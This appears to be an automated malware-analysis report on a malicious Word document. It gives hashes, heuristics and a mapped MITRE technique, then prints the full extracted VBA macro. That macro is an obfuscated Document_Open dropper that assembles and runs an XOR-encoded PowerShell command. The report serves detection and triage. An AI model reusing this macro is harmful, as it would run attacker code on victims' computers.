Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa9038300087911a…

MALICIOUS

Office (OLE)

113.8 KB Created: 2018-06-15 11:16:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: c855633cf01a1e6be5c48a63cb5eec0d SHA-1: e0baa0f518f64c4184ac2c938c681c27aeb38995 SHA-256: aa9038300087911a186409ce3abefdfce308e3645d9794c59861094eab364359
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is present and utilizes the Shell() function, indicating an attempt to execute arbitrary commands. The obfuscated VBA script suggests a downloader or dropper functionality, likely intended to fetch and run a secondary payload. The specific command executed by Shell() is heavily obfuscated, but the presence of 'powershell' in the reconstructed string points to its use.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    zKjzWL = Sqr(61423)
EtwPq = iHILaraD + VBA.Shell(ZoRVRdzbXO + Chr(wsXnoIXob + vbKeyP + fpIubKZUNiH) + "owers" + nNGbsq + tdhcK + JjNjNtm + vbTPO, 70296 - 70296)
BnJAv = Xrztwn
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13589 bytes
SHA-256: 7feb85d14a2df44efd7f50c4023a27c76904a2f43602d878e973be1e084df5d6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
233 of 445 identifiers look randomly generated (e.g. 'jBdNSionVhwia') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jBdNSionVhwia"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function EtwPq()
On Error Resume Next
CiwkMX = bdKMHI
NXzjW = onzZB - CGuwF / 68517 / nOwXYw - 223327908 + Hex(stjpj) * MErDP - Round(49436)
cMvmL = 97843 + bLVMO + (34235 * CDbl(oJzpJ) - uLXHn / CSng(73912) - wZEaNJ / Hex(LBuwRl) + 50392 - 51262)
dYzFi = Sqr(73375)
uMGzs = CYMjZs
zsqNwu = zPUlp - tkuMh / 31579 / wmmsrO - 223327908 + Hex(JFJirE) * hSTkM - Round(55184)
rwFOz = 49338 + CZvEJs + (75645 * CDbl(zPqif) - zaHzf / CSng(76973) - vfKJzK / Hex(NwcEq) + 77347 - 18507)
RCqAw = Sqr(83793)
BMkEwD = jIiTju
smdkDK = ZQmubi - brpFGN / 86394 / hoTHdj - 223327908 + Hex(mOQdNS) * PlJLl - Round(5888)
KFwVkR = 29460 + GpullM + (35651 * CDbl(bVnHzZ) - osKBc / CSng(94987) - LLJtWM / Hex(OcKaI) + 12677 - 89924)
MROOj = Sqr(4239)
nNfQbk = ZIaoEP
PhKNd = dBNQS - JINmBi / 68556 / mSRfr - 223327908 + Hex(qrPVq) * JbtVHM - Round(81905)
pRwjw = 61656 + YizQQE + (54391 * CDbl(wubpi) - bnqCvT / CSng(25046) - poICS / Hex(UNipWQ) + 27858 - 67956)
zKjzWL = Sqr(61423)
EtwPq = iHILaraD + VBA.Shell(ZoRVRdzbXO + Chr(wsXnoIXob + vbKeyP + fpIubKZUNiH) + "owers" + nNGbsq + tdhcK + JjNjNtm + vbTPO, 70296 - 70296)
BnJAv = Xrztwn
OGvAA = nwuYpP - QSXFlj / 33282 / BwZizz - 223327908 + Hex(rMisVp) * SHSta - Round(19194)
PZwPiW = 45423 + lmraY + (60293 * CDbl(Oripsb) - zIRkz / CSng(65898) - uVZDSt / Hex(zGdqS) + 87668 - 29140)
SZXPp = Sqr(56141)
iSdiX = zCSdJL
DEqtba = YPFRn - NihPqd / 73340 / HtcSE - 223327908 + Hex(SGmsA) * TfFiA - Round(65624)
MIWRA = 55465 + GhqwtC + (18767 * CDbl(PmsFH) - TjvDcN / CSng(83287) - uEjKVu / Hex(lAswN) + 2930 - 1651)
jlVazn = Sqr(60066)
End Function
Private Sub Document_open()
On Error Resume Next
mTiIj = qTCoL
ZlwArt = XZVWJ - jzCda / 4310 / wilpzS - 223327908 + Hex(iUqZP) * Kqjiiw - Round(54772)
KtkwK = 27076 + XLvRdN + (32543 * CDbl(RidCO) - SzjZl / CSng(85508) - NvPSa / Hex(qWijuQ) + 48715 - 20871)
qBEvSp = Sqr(48532)
MVvCBk = CCRsm
RNmAd = UHrmz - JOdWjp / 72986 / PCizc - 223327908 + Hex(qqODd) * nCPPLX - Round(42878)
mqAGDZ = 70755 + CivGU + (9829 * CDbl(SYubZD) - Mqmviw / CSng(53845) - YhczY / Hex(jXfZr) + 9195 - 17977)
zwjiVk = Sqr(57752)
EtwPq
DYhFH = dkSKw
FwpMif = vCvSI - GniMM / 74528 / wcoIB - 223327908 + Hex(XLahr) * ZUSFQk - Round(20741)
wdHPfn = 44571 + TdsoJ + (11683 * CDbl(HwNLIT) - zrUcs / CSng(9119) - GXEFzt / Hex(vAkXA) + 34661 - 5246)
ftvAa = Sqr(42720)
iFibiJ = TrLjoo
Imjcuh = HUzDlF - BzSLz / 73254 / BMlHIj - 223327908 + Hex(jQaZJW) * QJnmIw - Round(54065)
ncKjL = 41314 + EUUEo + (66277 * CDbl(nhSbBI) - suMZrX / CSng(9492) - OzCpP / Hex(qvjZpW) + 50330 - 70562)
Xtbwf = Sqr(19325)
End Sub


Attribute VB_Name = "rToiqVu"
Function nNGbsq()
On Error Resume Next
bcrCV = BCmfM
pimaA = 24035 + qJjbNm + (65399 * CDbl(TMYps) - uGsji / CSng(50158) - jXMDq / Hex(kCENEu) + 24007 - 40134)
qNqTNu = uqSmSJ - WYWvzJ / 29268 / UujnmO - 223327908 + Hex(GRmLwh) * MXdpbJ - Round(45213)
sAdQn = Sqr(94366)
KwltUIBAd = "HeLL " + " -JoIn ('11T6" + "5_93i95M65Q" + "110E127Q15>18i1" + "5i" + "65" + "%74a88a2T64>7"
ItLWVc = VpnSr
vnaIMD = 69748 + zGLDX + (22282 * CDbl(RIiFbi) - mcPtOw / CSng(93791) - YfqFQj / Hex(jOGnl) + 16724 - 74767)
PLJBw = TplDBi - NSvQOb / 37767 / owdzcw - 223327908 + Hex(wrtRSS) * tGhEnu - Round(32860)
SwRHDj = Sqr(10352)
wkkuwYS = "7%6" + "9%74i7" + "6>91M15" + "T9" + "3E78T65Q75" + "M64i66" + "E20T11_" + "119" + "T11" + "9E88%70T12"
iGETF = WrpElO
PfCVwY = 85181 + KkPNmZ + (77111 * CDbl(JnYhmN) - vIrPa / CSng(98968) - MhDwd / Hex(firVYH) + 46215 - 42817)
jpBJH = FJRuG - iJovM / 5381 / wDJipA - 223327908 + Hex(BYJsq) * vUXJb - Round(34818)
GSGiJf = Sqr(32672)
sioRPTiVLop = "0a15Q18_15T65" + "%74%88L2L64E" + "77%69L74Q76Q91" + "E15E1"
VlMHM = zGziK
GEUJX = 21141 + IALhz + (48088 * CDbl(idNli) - uiFLq / CSng(3603) - YCzEu / Hex(XjTaKA) + 96832 - 30198)
UsLzqa = zITVtn - BGmAB / 40156 / CDljE - 223327908 + Hex(GuHdTJ) * iGtuIz - Round(14368)
XKEMi = Sqr(16214)
KnFDvICdUYR = "24Q86L" + "92>91%74>66i1E9" + "7M7" + "4M91Q1a120_74i" + "77" + "Q108" + "%6"
SriEb = WDRMj
URpZTl = 78998 + EBqBk + (98062 * CDbl(uNsrE) - ukMHb / CSng(54709) - krpRnV / Hex(RQTbW) + 15277 - 73097)
pZUbaa = dSrJHk - MZOOf / 10538 / uQVwbf - 223327908 + Hex(LiHzA) * CQwLv - Round(87448)
QAcUc = Sqr(63725)
tBKRUQEDFCs = "7E7" + "0L74M65a9" + "1M20a11a" + "104E75" + "E96a91L73>123L" + "15T18T15_8a71E9"
nAjNAB = EbNFz
zvIzfw = 90269 + SnkJH + (52215 * CDbl(vcDTl) - qthHw / CSng(50258) - PjQBBY / Hex(GIzfw) + 97178 - 43268)
zKmMG = BariY - wjXjI / 67386 / EniXW - 223327908 + Hex(wWjiED) * mGjGP - Round(80084)
NzDsa = Sqr(82141)
jEZUHl = "1Q91Q95E21a" + "0_0>88i88Q88" + "E1T70M68%9" + "0%85M65%" + "74Q91Q92a64M73" + "E73a1E" + "93Q90a0_98a12" + "6%3"
GFhGz = hXlqP
JLmVUm = 29884 + HkVsn + (59486 * CDbl(iszQU) - QIwGY / CSng(51647) - GakqSJ / Hex(oAlOUz) + 32095 - 20779)
lZvcsC = OwLQSj - iaikki / 13995 / vUBGmO - 223327908 + Hex(FIzDv) * QXjBlM - Round(42467)
koSSz = Sqr(4834)
PJFrONP = "0T94M101M74%" + "26i98Q69%76E0M" + "111>" + "71L91T91M95T21L" + "0_0%88i88" + "%88_" + "1>7" + "8M65E91a6"
nNGbsq = KwltUIBAd + wkkuwYS + sioRPTiVLop + KnFDvICdUYR + tBKRUQEDFCs + jEZUHl + PJFrONP
End Function
Function tdhcK()
On Error Resume Next
JiziV = OohPY
Bdaam = 30716 + zqCRP + (71587 * CDbl(OCzjw) - lSmmE / CSng(53285) - JDQbj / Hex(WzmwFO) + 41871 - 75556)
LqwRGn = qoWLwQ - ZbhkOE / 53112 / sUciM - 223327908 + Hex(jVViwR) * ZcSYjN - Round(91710)
bGQit = Sqr(39626)
vGhDKN = "4Q65_1" + "i95>92>68E64a89" + "M71a74T67_95Q1Q" + "93" + "M90L0>77_110" + ">99Q121T119>27i" + "76_120i0i111E7"
jDWXi = fjwiQ
Fwdoc = 51614 + KTAcCw + (4244 * CDbl(wPLiqf) - JQFHhn / CSng(2562) - XDfCmb / Hex(dwIUlp) + 65661 - 52436)
ajHpN = UtFJjd - WwPYz / 72143 / VVuIa - 223327908 + Hex(liElUS) * DFSfll - Round(90132)
YcCjT = Sqr(74933)
PwwNEMjivIO = "1>91>91M9" + "5_" + "21%0L0a88E88a88" + "%1T93a74Q75L9" + "3L70i75E72_74" + "Q9" + "0Q66i76_1Q64T" + "93T72Q0T27T94i8" + "9T24E121%99"
PPbIEC = cNdhiY
FowOXz = 72590 + ToOsUR + (56636 * CDbl(nNqmGF) - AWmoG / CSng(84107) - nkMZA / Hex(jWNzqa) + 92076 - 75417)
mYzVzs = JfwMBi - vQzDRz / 86923 / fJfGKE - 223327908 + Hex(HPRTs) * AAHid - Round(55261)
Mhjwcq = Sqr(38404)
pBwEnjYaCM = "a66%103i121" + "T0_111" + "%71%91i91Q9" + "5Q21T0" + "T0>88M88" + "T88M" + "1M77E70E67i72a"
LdjlPf = PzYZUw
spqqij = 2334 + hvilG + (89948 * CDbl(rUnWF) - BauriS / CSng(86341) - qrwuj / Hex(KRruw) + 74943 - 75408)
lztFr = wzDNI - rDjrX / 74774 / ZcsaS - 223327908 + Hex(FlrOGb) * AmGBAi - Round(31291)
oCdYrz = Sqr(14945)
bPEvSwUzQ = "70a65a74" + "_9" + "3_64" + "M91E64L74" + "Q6" + "8T92T95T74>93L" + "91E70_85T1>76M" + "64M66>0T1" + "17E96M73a109_10" + "5i87Q24T0M111>7"
VsqiiX = lTmBE
hbsWbI = 73907 + FlzmOP + (10485 * CDbl(iqtWJE) - CrnaAA / CSng(46075) - EWzSLN / Hex(ZVdRQH) + 86595 - 92856)
kdqqfn = ldhJtP - zuiEQ / 44591 / sncJvX - 223327908 + Hex(BLnjw) * PpUXzl - Round(77192)
Hzokv = Sqr(15840)
UsciPtmG = "1E91%91i95" + "%21E" + "0_0M88_88" + "i88Q1L"
njwAjB = EFjil
rpNhjQ = 29474 + Rtcwbw + (15750 * CDbl(LFijAE) - iJOVI / CSng(93608) - GBLzY / Hex(GqPVYH) + 42374 - 80188)
zComlj = UvHnL - bkbaIT / 40487 / JKtiOI - 223327908 + Hex(JSFSL) * BJLlOW - Round(34510)
DFDCi = Sqr(89378)
LJzOV = "78a75_66Q70T6" + "5_1E9" + "2T74Q78E93a7" + "6a71Q67L64E88L" + "74E" + "92i91a9"
ZRTKCu = ddtKZ
qrvDWb = 36011 + cBVzH + (49285 * CDbl(QouwDu) - sZYLNm / CSng(60615) - MHmtLR / Hex(isvzj) + 93981 - 30645)
WqFzV = KNffnp - NNOJA / 11488 / ADLnc - 223327908 + Hex(NQsvRA) * sPCFS - Round(89384)
KvVrNo = Sqr(98703)
ROiITqMwc = "5Q93_70T76E74E" + "1>76T64_" + "66" + "Q0" + "L104Q23T120_31M" + "124T26i106_120" + "Q92>0E8E" + "1i124M" + "95E6"
hiTDJ = jzhHhN
zNSfSW = 88853 + tUjNn + (55156 * CDbl(zLIrF) - USkIi / CSng(4462) - PjlOER / Hex(fzXmw) + 538 - 70855)
wqHfc = iXoTCC - jVJVN / 80878 / nVuFSj - 223327908 + Hex(ASIEi) * NnYwl - Round(75066)
NjpVzN = Sqr(310)
zSfTnwrm = "7i70L91M7" + "M8_111Q8%6L2" + "0L" + "11L9" + "1Q" + "127_108%1"
tdhcK = vGhDKN + PwwNEMjivIO + pBwEnjYaCM + bPEvSwUzQ + UsciPtmG + LJzOV + ROiITqMwc + zSfTnwrm
End Function
Function JjNjNtm()
On Error Resume Next
PAwczi = iOfAkX
idvCN = 92332 + hEjPYm + (95223 * CDbl(wNjZFk) - XSHjDZ / CSng(73773) - HTGPiK / Hex(tYrtiv) + 34171 - 25016)
SQuFd = dsQuRY - RXSlTT / 21862 / LBsFFh - 223327908 + Hex(XqUUrI) * zkEzwu - Round(96783)
wfiRS = Sqr(31913)
UTOJmk = "27E109_70_15E18" + "E15>11%65>" + "93_95T6" + "5Q110i127_1Q6" + "5_74>87E91" + "a7M" + "30Q3T15a" + "27_28_22>24M28"
ndsRHY = wzwFb
OCAXN = 81442 + aazhm + (57659 * CDbl(ihTVQ) - iOOMnZ / CSng(28105) - tWVlh / Hex(lhDclE) + 56112 - 5216)
idorY = nojnbK - DbvFwm / 1013 / rkMHfB - 223327908 + Hex(BJvNfi) * szqJlt - Round(29969)
fLidA = Sqr(59146)
wJlYT = "%29T6Q20T11T9" + "0T125E8" + "5a93Q125Q1" + "09L15M18" + ">15L11%"
zcSWJE = ZhOil
tbjswF = 74617 + rOfBKj + (96711 * CDbl(nBGOz) - kpJril / CSng(69362) - zBtGz / Hex(GQnoc) + 33687 - 10703)
MXWmGr = iHbAqc - dIEjc / 17634 / ORlih - 223327908 + Hex(BpsIU) * VmdWTs - Round(58169)
nUzVR = Sqr(18707)
faZwJRHiV = "74M65M89a21a91" + "a74" + "T66%95L15_4%15" + "T8T115>8"
ifNba = zJLulo
WwFkE = 48837 + ttOSj + (31198 * CDbl(bzlkq) - zoiEJH / CSng(8762) - rdzXj / Hex(woYmP) + 37273 - 16428)
JaKuq = iPBaz - zBPRu / 394 / ImbzVX - 223327908 + Hex(fzRJOw) * zhDmcp - Round(43813)
pQvvK = Sqr(40397)
adtWjEiEVjD = "a15_4T1" + "5E11M91L127>" + "10" + "8>127L109i70E15" + "a4" + "M15" + "M8Q1i74T87"
YWLSw = RZzAv
Mliap = 44348 + XiwrM + (1480 * CDbl(CTLiSK) - sOEnC / CSng(48147) - NZSJTc / Hex(LzczF) + 79078 - 97681)
UhkAT = dnmwT - JjitY / 26609 / TjhMVU - 223327908 + Hex(nZolL) * PLzbib - Round(7264)
aizRNG = Sqr(96189)
WAwpPJAIn = "Q74L" + "8i20E73a" + "64E93%74Q7" + "8>76T7" + "1T7i11i" + "102a" + "70_94i69i" + "70" + "i68i15T7"
WpKHVo = uwGsz
iimVP = 61114 + jDwBm + (86408 * CDbl(wiHKzK) - ztWFz / CSng(62223) - tdisMK / Hex(jLFSvu) + 9735 - 36549)
vpOhlP = PzWqZ - IZiJR / 43963 / sBPwi - 223327908 + Hex(NjXmM) * pmwXwD - Round(91261)
JVctaM = Sqr(77732)
KBGfQL = "0>65L15_11T10" + "4T75a96E91i73" + "Q123T6i84i" + "91i93_8" + "6a8"
JjNjNtm = UTOJmk + wJlYT + faZwJRHiV + adtWjEiEVjD + WAwpPJAIn + KBGfQL
End Function
Function vbTPO()
On Error Resume Next
pDwYOt = AvukI
mDuaRD = 64498 + jsMJJ + (69876 * CDbl(LClFWb) - pEqhk / CSng(57105) - ocBDr / Hex(jCwfA) + 26769 - 86272)
sIimNa = pjjSD - rPLGRh / 88278 / FGEIi - 223327908 + Hex(iVccb) * XvUWRd - Round(53629)
KjOFI = Sqr(92512)
IzWlzZvHjj = "4T11M119" + "T119Q" + "88_70i1" + "20E1L107i" + "64T8"
MNviK = RvYIo
CjmCai = 60227 + jTHHq + (42807 * CDbl(wvoon) - YwsLW / CSng(96449) - kjzTnA / Hex(rJSwnw) + 6378 - 72664)
TAVdju = DjzoAW - Uqqcnd / 83128 / pCmDm - 223327908 + Hex(fKwOj) * zmiBH - Round(28865)
FnrnjV = Sqr(99285)
SplzXuczqQs = "8>65L67>64M" + "78i75>1" + "05T70L67" + "E74" + "i7M11a1"
tHzPlW = TBwHi
tSLTr = 61939 + TYVCZ + (32209 * CDbl(ohLpU) - Bztpn / CSng(2331) - UDdNoj / Hex(TjaLK) + 52341 - 14583)
mqHmKU = YVfqzm - uINsD / 80378 / GzftQ - 223327908 + Hex(cItzjU) * RnFCWs - Round(47519)
UlwqU = Sqr(24324)
CkkABk = "02M" + "70Q94M69Q70" + "%68Q1" + ">123_64%124" + "%91L93%" + "70L65Q72L7>6E3T" + "15>11M90>" + "125T85i93E125i"
EfUcU = adizRW
fqctt = 50971 + QbiJi + (92626 * CDbl(HCLWKR) - BTLRvB / CSng(5201) - LzPzUm / Hex(dIcSGr) + 55790 - 94489)
GFWdWR = zZPlQj - hbLKYC / 87428 / KHYWAU - 223327908 + Hex(GjEpY) * rzIaM - Round(63741)
zYuTa = Sqr(43041)
lnOlGwwkCH = "109E6E20" + "T124T91a78>9" + "3>91L2>127" + "Q93%" + "64Q76T74"
tqGMNQ = wjJBT
OvPFAQ = 14988 + SfhaLl + (79537 * CDbl(DjMVOw) - BLIkD / CSng(51093) - aCVqt / Hex(iDZvZE) + 50689 - 20967)
pwTQb = trjDz - FiFUrs / 91198 / JQwJYI - 223327908 + Hex(ZFFdHq) * NXWdV - Round(40068)
mCiaS = Sqr(61774)
iRRUwqSji = "T92i" + "92L15L11" + "i90>125Q85" + "i93%125>109_2" + "0%77_93a7" + "4Q78>68E20E82>7" + "6%78i91i7" + "6M" + "71Q84E88" + "Q93M70Q9"
iPVEi = ujini
jPYBJ = 84224 + lTmaa + (84719 * CDbl(ERhzO) - apbBa / CSng(9931) - DhsXRu / Hex(KloVNl) + 5430 - 67573)
kZKwqn = aEzPE - OIfHuS / 55149 / kcUrz - 223327908 + Hex(MjsUCE) * nsknUw - Round(34489)
vouMZA = Sqr(55623)
tXwjIKj = "1>74%2" + "_71_64_92T91>1" + "5%11_112Q" + "1i106L87%7"
JnniQh = OFfiAo
zqFrHK = 89987 + dMzhb + (31301 * CDbl(UZUKQb) - jMiwjR / CSng(75801) - UEFnvt / Hex(dqHAzK) + 52414 - 60485)
XIJsI = ddYps - cnUBlw / 57720 / QiiFh - 223327908 + Hex(sRwCiG) * hPnkp - Round(39919)
GPSkFN = Sqr(79814)
JIIWz = "6%74%95" + "%91M70%64%65L1" + "i98T74i9" + "2M92%" + "78T72T74E20E" + "82a82'"
iWYUik = SuQwJ
mHtiEL = 16551 + LiVGm + (62092 * CDbl(XhRwbw) - tFJWw / CSng(86081) - WhDZW / Hex(aWIjdM) + 31283 - 35602)
ChnNNn = hPPro - SjPDUA / 47763 / TPjGBD - 223327908 + Hex(asjiJi) * sjPMi - Round(76980)
COwEMv = Sqr(25406)
cFzXGSijnV = ".sPl" + "it( " + "'iM>Qa%ET_L'" + " )| % {[CHAr](" + " $_ -Bxor  0x2" + "F ) } )|. " + "( $veRbo" + "sePrE" + "FeREnCE.ToStRi"
OwYdvk = jAruoN
RGHMkZ = 14208 + jNfOQ + (76383 * CDbl(oISkmE) - HcFSM / CSng(86990) - ojVUSb / Hex(HzwOrr) + 24818 - 22395)
bizwi = SMOdu - KtwMDj / 16455 / WvNGw - 223327908 + Hex(YwStjF) * Rtodd - Round(57040)
hTuALj = Sqr(54574)
mVUNb = "NG()" + "[1,3]+'x'-" + "Join'')"
vbTPO = IzWlzZvHjj + SplzXuczqQs + CkkABk + lnOlGwwkCH + iRRUwqSji + tXwjIKj + JIIWz + cFzXGSijnV + mVUNb
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.